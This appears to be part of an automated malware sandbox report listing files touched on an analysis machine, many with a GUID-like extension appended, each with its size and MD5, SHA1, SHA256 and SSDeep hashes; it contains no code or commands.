SHA1: 45d2adb9b2d96e2edc5effba2b38df0ec9a6d1ed
SHA256: 45a42b6e3ef4a392874d6597d70cf77d8563fdcc3059ec9d2e9fc6026aa987bb
SSDeep: 1536:Ayok/KesyTYzL78U4glCdBqooLr9Iz3R6eyfYKUM9uIN:Ik/DMzk2lCE9Iz3RTmUM99 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZipOLuSTq7e22tKf.odt 86.40 KB MD5: 160a97b26c44925844fd683f81e13f06
SHA1: fe1257f7e15b5fbcac279d71b77cd19ca453a904
SHA256: 1cb15b075832c72f76446a9e268939e3633cab992f0b2742d25e3d9e76fbbf64
SSDeep: 1536:m8fZB3giQfNj7B1rOqyESk6mZmqfa1g8BHr5OQiMGbB/4Z0zB1konkjJZ74RQ:RfZBwfh7BAkvZm9i8BHVOQiMGNwU64RQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bZa3j\VOyZefA.mp4 64.47 KB MD5: 8bcdb117d0886e0392e7a8258c43d7c8
SHA1: 6d339683abe4dbf696a236d86c2c35bbeb10046b
SHA256: b1e665680286b3ff15cbfa169cddbd31b7b3bb55946e074c53c2523f599d6c8c
SSDeep: 1536:asm1QguR22SpxnYPK2IWgAUdSwe3sRYTmTfok/E39yPRHKQ:Xm1puR2rrcIWgdMwDmfk/EXQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\emB6IjF2pK\24dQhw2U_5X.mkv 59.72 KB MD5: 73ec3e42f57b4e558a5a8f81aa65b75f
SHA1: 43ba1341900af806e3f108ca98659c32871bf741
SHA256: 3c8f184e8c518d403418001c52a076d307b796b115680772502e0061b57548a9
SSDeep: 1536:5pWFh0dhLWudmpCLNLQA1z+hJfjuGWBWvafzgNQ:5pjdhaILNH+nfkBKafzIQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\d7tl6xSJD1nVtY6WK.odp 52.86 KB MD5: 721d9bef96fce056076b7502c795993c
SHA1: 03146be00b859913ffb2cbf74b9b11d28f8856bf
SHA256: c261880064ad0c14502f632691ae80a992a6af34e9e05f5ca87cb11a665c990e
SSDeep: 1536:8Cv90bME71UjE2e7FMvcl0KzAu+y47XAmWNIkaM0Q:8G90QER4ErFXXg8VNIkd0Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\ZSdZkxkh9RcKgkjSFqyf.wav 86.32 KB MD5: 653b51c44fd09b67c99733c2f2be6233
SHA1: a151c0dc4dc3dba8ce4a10e39dbfb189d9c24fa4
SHA256: 9c2102f6efb5a62159033fd71d0dc5f4b8021c084e56dc7dee1e14bcbce23dec
SSDeep: 1536:c1m98H6N6cRHTwGuENL1U3RyvXUBzdKRU0RxAMYrY8wjN/AmW57/LQ:g6N6cx9NxU3Ru5y02YnjWmCPQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\6dK-r9n-.png 17.92 KB MD5: e33dd332a9f49f36539b0c760430c9a4
SHA1: ced69c29b6718a46bf4b377542d821b52e929fa2
SHA256: 7852a161830c9de6ec9c3ab8957dc911e0a5545459c1143f50d2d8daf6229305
SSDeep: 384:311rIDGFrvsCOgBsXW09UbJMnVf6cqTMlPpDzW3V6CdtvID1FAFfOzwv9K:F1caFbdOgBrmnVf6cSMdpDqtm1FMpA 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\IVq9SaixT8T5LvqIs.avi 48.85 KB MD5: 01d46fd0037b7c169244e8d7449e8c8b
SHA1: 16b691bac440d7c2d4d5b48abaa1a84b63774dbf
SHA256: 164393c917ee2c2eea8a2bc725b624c8bc3b106f05c945238301f8792f4add8f
SSDeep: 1536:84ZIkMmIpoqIS7dj7RmbA7m2hh3Xq6ol5oQ:LZIkxSH/RmbA79Kvl5oQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\8nr4Eh.ots 93.67 KB MD5: b672059d69ab85de82f185abf6e60f15
SHA1: 8db09668ffd46023de14810a9fb124beee452ab3
SHA256: 88fcc87709e52d9ea994404a79781ecfb627715f791b19c62a9bdeda77938c3a
SSDeep: 1536:Zhtio98+xUuquJzYcLHddUoyJugSQB1j4YWv4uIiHXjdkXE90RQ:ZJ9fxrqpcDdwuKfUv4GHxX90RQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\BTlNsw.csv 64.75 KB MD5: 78ba31d80cf04ad8b7fb1e7242fd76c6
SHA1: 2b77a8868dafbaf574c1b072b401c59e291e8c83
SHA256: f06b8dbe09d2431df0899f156f8f85d9fbfa2628367237dbea6b6f3057c47bd1
SSDeep: 1536:CQJecysecqj4wY8E1eNlA3+b1VbujkC7Lat8HJgekEx1XGhR99eHQ:zl00HL8Yk1Vkh/akLx1Wz4Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\HmaHtS6w_PH5.mp3 62.29 KB MD5: 66e0d53b2b1278b07598913c6390bf40
SHA1: a12752365175c17ffb712e3f755a85cfd11ed2df
SHA256: 70517ed58d3a608bb0fd717742dd4bb833cd58b6ece4316be0d6f12073324a8f
SSDeep: 1536:1JmcUMmR1rsAJ6OcAqUkcOiPdJaso0Ih0BAkxfZ7A6hhbWHUoA:14LzORsvw+AkxfZ0w3oA 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\lZWl0fATxvg5Rw_ S.odt 68.62 KB MD5: 0d62f60233f2e00ce083dcdcdc1abe8d
SHA1: 0a34978cb691bcefa775dabf9aa8d66ef816e48f
SHA256: 6761b78077cbaa37da66dc121eda95209ad2159a7b7432f0f405c48eec9e7ecc
SSDeep: 1536:Wj/v+7LmCWP6hnsfVEXHMS3DJ1S1WVrrMI9X/+ppXozb7dYLBXQ:Wj/viiCWP6hnsfVEX73lkfePqXG2XQ 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 19.77 KB MD5: d06af5f79b0ce065c550c014f034dd2a
SHA1: 6ddceb2909bdf799aabf022301b49c373c7c7a21
SHA256: 493112fdf51158057d3f6c4e085515b183f397b9d7bfb9bf79d88655d843bd6f
SSDeep: 384:ETZJk+jbwlcgytCaVLfr8JeTCOg+bAW10aJcz4hylqhjrZS:ETZJkDl7OVLfrCRgAW10aY8yl6Q 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\sql2000.xsl 33.28 KB MD5: 6f2c94f4b9c1cfc70c9d67b31a0b0894
SHA1: 4a3d4e48217388634284d0f32411b3dfb451b462
SHA256: 4e19571450fa29b62e82786e8ebcb1d8de307e2f8a0baca384cc18d998bb932c
SSDeep: 768:x0QGyvAKMs0wV0xD8E50hnPnKekcIibHb:xv8KMs0wV0xD8EGhnPnKeksb 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl.-16C06E83-81AD-7D23-B247-5A57886B0D29 40.05 KB MD5: 3041510ef3eebd3346d96728fe9bf082
SHA1: 97da84f33e972f968f310341b2626fb9d671aa24
SHA256: 31130d4c2e77a7121ade0511a10d2358c1eecb0a11bd4da2978d25541c8b40e7
SSDeep: 768:LOSeyTZZAXN9YAb+sC6HEwxyEztRi6rxy9lfs1QAdKp/Te2L9SfMmVCsQ:KSTTZK9TdC6lyEbi0+lfs1QcKp/zBSf6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\resources\1033\msmdsrv.rll 650.84 KB MD5: 65ef0a8e5cd8f60dc5c1c5d28d123267
SHA1: d54c2a99d29b18680fe57970c802d761ed6e6d61
SHA256: 09b4fba0fd89a5f1fb966bfe1cb1143a64d2e56ea8b7b080afb82ac4385e19ff
SSDeep: 6144:GVG5g4GLrhwG4AQWmi3fMCBJCDr1QN4bULE:GVG5g4GLrhwG4AQWmi3fMCBJC8/LE 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\resources\1033\msolui100.rll 14.52 KB MD5: def966b4398d0bf3855c98442a592404
SHA1: 747b96477e92791e069b7995822b53416d7dd1a0
SHA256: e1104e6d3e4f993043ac126c8f3d2c2e48d2bcd909e5066e6e6f74b1b6000b85
SSDeep: 192:gKWdcO1jJ5WO05MsaYOF4gavfo6oEQKPnEt2yt8mJz+jaIhjTH/S:ZWdcEjJ5WD5S4CnELKt8Cy/j+ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.52 KB MD5: 0b0700ad63eccc74c316242d56f1070f
SHA1: cb2d9e77001173cdc0e8627c77232dac0b61e886
SHA256: 887954567badcefb006fa739b9f6e5500185b5cc7d024f589a3a247f489f4fd0
SSDeep: 192:YeZ0wLeA4IxPq+FBdV+PkNdgo5TCno8TRhe44RNd0nQDWS77ktkCp/6:HZ0wwIxxdV4CfQFHeHjc3xZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.99 KB MD5: 58b8a86978b96ca228a3e114a4d027fe
SHA1: af9f35fa60bd8685d952084d28bc008de2302603
SHA256: d6880e26a368a89ae2a35e6d95798f8bad707afa58af0a880aa0768696c990e4
SSDeep: 384:IV/CAFtYVWI0FTsQOPTOW0dsu9iXVYUyGbZS:IVv7KV0FHQSW0yuyv7bQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.99 KB MD5: bea85855c0f57fa9d1c2c83eebb76554
SHA1: ba4bdb338189cf6213aa32c506cd81b2eb7f5e97
SHA256: 230d6d91e19c3a94c27b0bc2450d2a903a6d93b783bf7a5dff60100411535891
SSDeep: 192:X0H98uJiQJxSB3F4bSBFYPmEC/EqD0tr5G37ktkCp/6:o8uJioy3qbSBFYPvC/E/tr5vZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00040_.gif 7.91 KB MD5: da172b0f7539b3b273ee17b6c4004741
SHA1: 33f5ed103a93acd2c37272b57871d1c288fa5b4d
SHA256: 4b84504818e0156605a91464a184456589b817e6ee2adf6dd5c6943938290927
SSDeep: 192:bopGhtbnNKAPd7jeTJAAG8mNZuTGa1rAdBzsF:bQObnfVje1AAG88E6adazM 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.38 KB MD5: 127cc16dfef70d8ed91b80071f862e71
SHA1: f30221f6fa6d443e878b86e4399b649fedd33863
SHA256: 0668db84b9a57aa1db455ada7d3f3f7b36851ad6d344ce4e1d467ffb950ecd7c
SSDeep: 192:NFXWgrMW2co3ZxsMJCgjVbW4MYrBG/b2uiKnXmOvSlS7ktkCp/6:jXWgrMCoIMIyb1hBG/q7KnX/vSDZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.97 KB MD5: 4892dd3191dae897f7b14cdd6a6266f0
SHA1: 972bab9c1921184bb782afea42ca446ebcfbf816
SHA256: 078cb4346dcecedb51eb8bd514ac49eec35b2ca03eb0106b3a3618865cc3f6cd
SSDeep: 192:dUuliiJtC89BwhE3OFm9k2M7WAai//Pz5LsFf27ktkCp/6:yUig9BweOFUkT8yPlCJZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00057_.gif 11.61 KB MD5: 1235bf1154712a915cc815eaf9f2b40b
SHA1: fab1255e284283a3276e8e8cfe570cd259d0ab61
SHA256: c59bc540b111be2bb7ffd39eeab555c56bfaf7f120708544449802426b4bf416
SSDeep: 192:kkhgkvIbBm8OBVkuYdLrVDsG0oBjxyrKiFIfY2JQ1ME4CKIatOMEX:kkhRvIbBwEuYdPVDB00qNFOYs2MEtKV6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 13.08 KB MD5: c5d4238dfe8dd9bb5c4b8da59e75d808
SHA1: 048b0a647a6c1b92e0b8ab4169af81c604ffd697
SHA256: 908334923a937c619ac60cc6160f4631a78bf49f16a3a97756f5a2b3c7c5f9ad
SSDeep: 384:SBqja3sBH1lHKuebNHhtOtzH2lbNRTICuF8QZS:SBqfZ6uSWtr2lPMtvQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00090_.gif 518 bytes MD5: 18fe1d8284d3f3ceed271d10250ec77b
SHA1: 82a9ea064eff7c0d2c9a41c5cbe0aca4fc5bfed0
SHA256: ce2f9f2c0b6a177e4d77624feacb97cc1c011cb76e73533434801747be68e83a
SSDeep: 12:y/TSs6wKfzGhBpKtKsPLvJi9JYnJAWKIeAjpUUKsPLvJi9JYnJAT:w6pzKP2QJK606mQJK6T 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 1.97 KB MD5: b013d5abe2c20ed161a8f7f33fd2ccdc
SHA1: 35afa998cf6dd7ec63b67ee378ba1d432e829120
SHA256: e0cc9dc6282d139997695abfea79b6daff13ce821352f6b02981997abff4f38e
SSDeep: 48:xl9Gl6uu5HvgugtVR5kFj93+39rQpR62idl6rKj:xl9O6ucpgtV7kFj1+NrQpwZ66 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00092_.gif 503 bytes MD5: d40477f54ce372a2d6950da881863022
SHA1: 330a1b255840efa5e710a17d276c2de122b6b2d0
SHA256: ff09de98f21606d39455fb6e478aa11c8d8739856eb841dbaa788736eb3f896a
SSDeep: 12:KDTSs6wV0IBYFQK0/qpkA4fqo3wl4/qpkA3l:K768FBcQ/ci9wlCc3l 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 13.88 KB MD5: 5efafce1ee84d2611379a52133bae10e
SHA1: 36473ddd6b560208e0ab0272f68d6e596f2604ce
SHA256: 8fe5eb40d8427f7fb5be8a8f59c4c12c56785b3931c87e07aca99d61046bfb79
SSDeep: 384:PtVDa+xizu9PMcS2WDjaINUcZPHSAQTzJZS:P3aNu9apWcdH7QTVQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00120_.gif 3.40 KB MD5: 51a85817591a784253ac71eafef1df24
SHA1: 8cb906e785f98f656808f96c7aa3d4e37541ee5f
SHA256: 325d15a8136b1fb416847321d49c870e305f22fe307eeb881709336d92fb358f
SSDeep: 96:0evyyQq0J9b+W/zRQInzOy4MiqzMIU6Mz:0eayQxLjiqzJUdz 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.86 KB MD5: 5f8e64c3cb2238ccb91f4be1542f4531
SHA1: de54a35e4bdf9c2219da846a95eeddf37e2adcdf
SHA256: 986d6c0cda234bfc14fd351ab09bed6edfe7bc6b5546087f0d25b4b602042308
SSDeep: 96:4vawJ/LMUvlQcHzVJ/XqsnvBQ8R/0f7B7/YgL7U1AHV7kFj1+NrQpwZ66:4vh/Ljvl9h3vnRcVQeU1A17ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00126_.gif 3.07 KB MD5: de82e4f1fb31bf6a2e0ffd597ee18e95
SHA1: aa4d4081b4da402a9cb79cb76a45b11519b7dcdd
SHA256: 2a24bdd5b97d56bac01e6e268d36f26e87cbdc2e4c2a8c20ef4cfc57dde171f1
SSDeep: 48:3Zxuzhg9NICc7JAl/4HmeJcfRKKVaxiT9rn9MASmM6CZ7K0h6:32gX9qo/BfJIiBDBXCZ7Kb 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.53 KB MD5: 5fc3cddaaca5953780ed13b67ddf6ae4
SHA1: f09617871c55af1cba2e2e9fa8cbccb951a00d7e
SHA256: c6ed13ff6ff7f08b6af8516bf673c8fdd5ee3ff7950881e195b50474fded68b0
SSDeep: 96:5hG1K/U0e7s7Kn5/cDQFaHYh8ziMgO1GxinrpIJdqV7kFj1+NrQpwZ66:5hiG+71npcDQI0KDCK7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00130_.gif 5.13 KB MD5: 690a632128c8452f3bcd4fc14d11c518
SHA1: 61efcc0a42e0d1bd6f0dfe29894dde8afb087aca
SHA256: 9b60853bb7f178f14897f2f2d5e60f6acc6c601adf0c736a8e5b6980107e188b
SSDeep: 96:DE6+s+/hMds+s+/hMdHtmDOPv8EI9wnr+Qpkyv8EI9wnrtmDOZ:DE6+bhMW+bhMZlP09u+vy09ulZ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.00 KB MD5: ba17921134b5d443b683abb32b1e9f0f
SHA1: ccd3b2b7acc9079c72ed1ce590685d2e8d9857b9
SHA256: c8a4b2f41f985be9a63635b5ed6ce9445fa6b976f55c479d19e43dd9d5c36c8f
SSDeep: 96:GooA5kRs1xFMa8HYp3mdWe2s+rV7kFj1+NrQpwZ66:/oamsyHYp3mE7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00139_.gif 10.36 KB MD5: 5411235d42cf2cf31f7e39f993df7aeb
SHA1: e6e7ccdba1628e12993af309718acab94005c03f
SHA256: 31d504ce631c0eb6e187649d40b808ffd47ae0daa655ac44b796e68ae1a53a70
SSDeep: 96:0C6dfaPr3UdWkZmNUpCoIpVIQXHt00SHs5684TR/nbLGSHs5SXHt04oIpVIUNUpo:l6d0OZypVIQXr41//1XDpVIEZ5 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 11.83 KB MD5: 4c0f913745a66863d3175937e06cd5dd
SHA1: 038a85276893f0b7ee25c9d51e0d807abe04ce1f
SHA256: 1a5a99a1b45f6bb5186ee9e89b51feecf049ad981141a594a9e9547018cbd00f
SSDeep: 192:gxbP+HyaxHnrq/3zcqH6RGOVNNJwew1CnxyAFzAAQKtoVDyM2Wb6XYfKB5Kc7ktQ:qbPpQ4z+V3ON1xARAA1oVDyMLUYmMDZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 16.41 KB MD5: 941ade854f6a7b9cc5fac26926f23821
SHA1: fe53bb8d2453d08cedab1dc94c99257800f8ccfa
SHA256: 07c74aad6977b42b1dc8de9375fbacdb6c34e220e2f941f7b0e5ab35053fc308
SSDeep: 384:/QZtrxPwMvYFxi522WUnnC2aQS2D8EvLgZtSM4YZS:/Q9Prmxi5JjnUo8EvUDSMfQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00157_.gif 4.84 KB MD5: cf223f86cbcf920d38fc5376df5401de
SHA1: e8f4208833a4739dcfccfa981ca2c762080790bb
SHA256: 8173ee7de361a05e2863dc4b624bdd3e5a58f3650c451258df4a08630b17e322
SSDeep: 96:z2gG0QU5rFX3xFe1OEs2ovYJSqae7mcdiov9xFe1OEsyFX9:aCQs/ooMovZqYovDook 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00160_.gif 1.12 KB MD5: 1f8eca6feb06914c7e33b508d82343e6
SHA1: db69a892479ec46a8e417cb93f42a2cb69eac0d7
SHA256: 6008fb7fc1e08c4870d4386f192fc28e13311d70774590a4d43bb2adbb622b11
SSDeep: 24:Es6llT3bPct1d6ZqbYjs30lT3bPct1d6ZqbYjs3oslbcTKosP9MS3Q18M6slPjQC:CPPeJ5sPPeJ5bbvo49VA9PjQe7FoXExT 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00161_.gif 7.41 KB MD5: b0850a804a6b393e02617d5f8719721c
SHA1: 9c0b1015c730f27ed09aff5e32aca0e0532b23ac
SHA256: bbf3bbd95796c7d8e2bd34a5fb8df2a9479fd2427d4bbc4cbc5ab412442f5856
SSDeep: 192:mMAKvdOr+g5NzUUWAWCVFkwM3qN0qbQcNxXGDOGoDG3xh0Z4G:mMAK1MpHU3AlVuwB0kxCOfCxh0Z5 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.28 KB MD5: 6383c17486bf933cac8c501f482e929f
SHA1: 540a670e48924440bd0efce1163bdb0eeb93250c
SHA256: ad4c8a76cd442ec2906801b88903f3eaadea6da0029cd3d987e8cc977c22dcee
SSDeep: 192:gi+ehl8WaUEUq1WHdYbzQoSyL+V3XLl9ceh65vhAFToHWgc1Ti7ktkCp/6:b5cF1W9IvSyO0eheuF8Hfc1BZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 14.41 KB MD5: a0b43d7dbba897e2d23f39fd42bc1929
SHA1: a62ffbce1181c66d150181f66e97eb219188dfcb
SHA256: c34651e2683cfc927e2a3925c67ab93ee355cb87faff16a321d4f2094db7fb53
SSDeep: 384:oeKpk4b8VrOZyyw/y9Iuk4IkkU84vEFLcrq05ua7gxjpOUNZS:oemk4b+OZr0uWyEF57acxt/Q 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.72 KB MD5: 97cbe880ec15b21324d7a43f056531a0
SHA1: e97ac4eaf05d43475f3eb89862b8e558a5420f55
SHA256: 412feda89e95c0521b7fff141f8109d2ba186dce77a3e9c97cff342a8ac6d7ce
SSDeep: 192:PsYUxA6RbptvkUgl8n2vTaGtgpVs7ktkCp/6:klxxN/M+2G3zZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.36 KB MD5: fc9ecf681acc3e9ad469c5a461d6a322
SHA1: c63ccec9bb24fe878568d346b361389c9311a4ac
SHA256: dd3e905e561664a29da964a978ee73165cb283c3490d20bf662b5dafc2195bc1
SSDeep: 192:B7VvYW7dYID91c93M/hJCzfKuR1z3kjNndO7ktkCp/6:RXRN3c6EfJj3eNdZZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.75 KB MD5: 3ddf0ca256984e76e54b426d1d52b131
SHA1: 2b1ed1d716c0559348f3727c3b0059a5c86fceb4
SHA256: 9bfb665a6e020ecea25f0eecbc9a4e42fdb368e88b451f0c9a86b6326c0167f8
SSDeep: 96:cISAUVaJ2dWGcbU14tndweABWBesdKgAe8MQ/1qdvwB5kn2bSV7kFj1+NrQpwZ66:cI0VX6ftZoeKgYZ09YPa7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.35 KB MD5: 73eeaabab54612f9d5c40eea26b06546
SHA1: e3c4b4fe0a7c492aed450d1784c8bc1e4f67ad76
SHA256: 049414d0fa20374c86d5a153c155903123b72d55ae7da8f947bb7dbe3f21b207
SSDeep: 96:AOrvmZR2iEXmnpUlSKoPwa8Uekdu7KHd4vjRzquJSkKh/0VrXV7kFj1+NrQpwZ66:AouZhEU+a8UHVsjRquJR+0Vrl7ktkCpS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00176_.gif 3.05 KB MD5: 7d92dcb769dce80020e6015c526578cd
SHA1: 935e94bf84c7ccf8a932aedcee4751b895ddb4f6
SHA256: 71da069fc7662d5a91d665a4ccf675c5645e677121a98c278a3f74e38df1462b
SSDeep: 48:m9WRIBPzGEWRIBPzGjJ5yaEiAgNNOSFLBI3RaBpvP2qk8iro+pjEAUwTRoW4t:iP1dP1y1EJO5FL+6vPpkzk+o8Rt4t 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00010_.wmf 2.96 KB MD5: d2a9f602572f31b272954975cf50eea9
SHA1: 3a2dc3d5ecd57409aae228b024befdb88d919244
SHA256: a93ece3ad7fc01a0bd0c29c27b75f1954999ccd01b5497517957ccf6cb46e3df
SSDeep: 48:1ZT0UflP/hcobcDavUk+BWJSh6PvMDFWv/h8cB05bBdLnBo39LHFVy1eaUYmRY9G:n77bg+Ssb0DFWxB0515BeFsAaUYmSq3 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.02 KB MD5: d2ca6add79e21c596b8299f0040cc912
SHA1: 4190b0a231cede34eab5a6f472e527a6f62cb568
SHA256: fcc5090524b5d1df0b4f46d353509a78b1f8fee67c9d573826cb2cab2d73a421
SSDeep: 192:BX72M/7ioEayhd8bgbGhZWL3j/zmfCL9F0PF7ktkCp/6:BXS27b+8MbGhZgGc4SZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00853_.wmf 20.10 KB MD5: d9484dba80b5ad24bb464233681f7236
SHA1: 168fe8d2e3cb0cbf5d3636b664230a82201ba758
SHA256: 63ffec002c6c7c0b768d013c48a73c34d3b7856b4105777a2c25594e6f6932f6
SSDeep: 384:X5be/I9XLsZFmYyGPFWE32Z7kKbrwaBFa9ji/rW9i4S3dF46kHyDHML7oSD9:XdUG7q0LIV2Z7kEUaaA05S3dFnRtSp 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 21.56 KB MD5: 33d20fac00c43896e1cffb328715e7b1
SHA1: ecd4fecab5bf8af95e6d1b008c9ea79b52556b88
SHA256: c4258f94b247c9e3d5b66a6b8985be6f4caba2d73864ae7274d1b8e1cad46042
SSDeep: 384:36utI7r75mhA18JJfGyg+Z14xJMfNJgtNuBRZS:36utC5d1ccyCoJ28bQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 12.05 KB MD5: 6e20296ac49dcf11caf66d6aeda085d7
SHA1: 2c6ce401128593ebfd90107c56739b351ef24f52
SHA256: cbc803f70e4c2a3eff2c7409c265e5e07495bf19872382fcf5b677bf61ee56f6
SSDeep: 384:76MSBM2NjH3JDDePieptk/8VBBG+30B6L625ZS:mBM2tH5DSieM/8VvG3BSQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.55 KB MD5: 598f05352f85bcf84b941e97cdde7e20
SHA1: effaf9860ea4743aebdbe779aa8b39d3c2ecf165
SHA256: 96ee1af7dd67e8099f5c494fac2f7c68fa986e7e9ccb4f5c88088ee1d15eae64
SSDeep: 384:Zo0C+pRUxi+d5czRmzlsIoPRsXYUzD44ZexSyVs/lu4QAOZS:Zo0C+cE+dsmZvIizD4pa/reQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.38 KB MD5: d8d0edd93e8b208f5fa0927d986c2870
SHA1: f08ce5400058b5d34f6c8b0be3bf5c627d28629a
SHA256: ffe6722e966aadbfbfae6268b7e2904e2e591b6ac94f872e541c6b3d011550d5
SSDeep: 192:nmyNc/V/62Mxlr2WHbpJxYQeFifGqxHuLM0vq7ktkCp/6:miip62Ul6WzxNeQOkmM0vtZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01039_.wmf 3.27 KB MD5: dbdabe4a3100b18bf1e70c83144c24ad
SHA1: 79b958867c3ced706d6a73b54d550a57e9b6a101
SHA256: 69f6573587cbfc0f7a1a597c281282764aa18352314009ed53f417f1f45486bf
SSDeep: 96:s1WWWYQ16tNGScAE/IdmOVZmllyrwpLtsm+ruuYk:m1WYQ167GrlAZmllyqhsm+ruuYk 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.74 KB MD5: 10d2433517ae3ba29dc829e39cdc62f9
SHA1: dccb230675b878644c99297ed80cc7aa7fdd6c35
SHA256: 8c36c9ae28aa1fd53f5c79058d718a9da82a4b92183318187c5c80e0969e2623
SSDeep: 96:aFqUg2sSMbacln9xJAZKBZrwEhV7kFj1+NrQpwZ66:2qX2sHlKZKfrwEr7ktkCp/6 		False
...
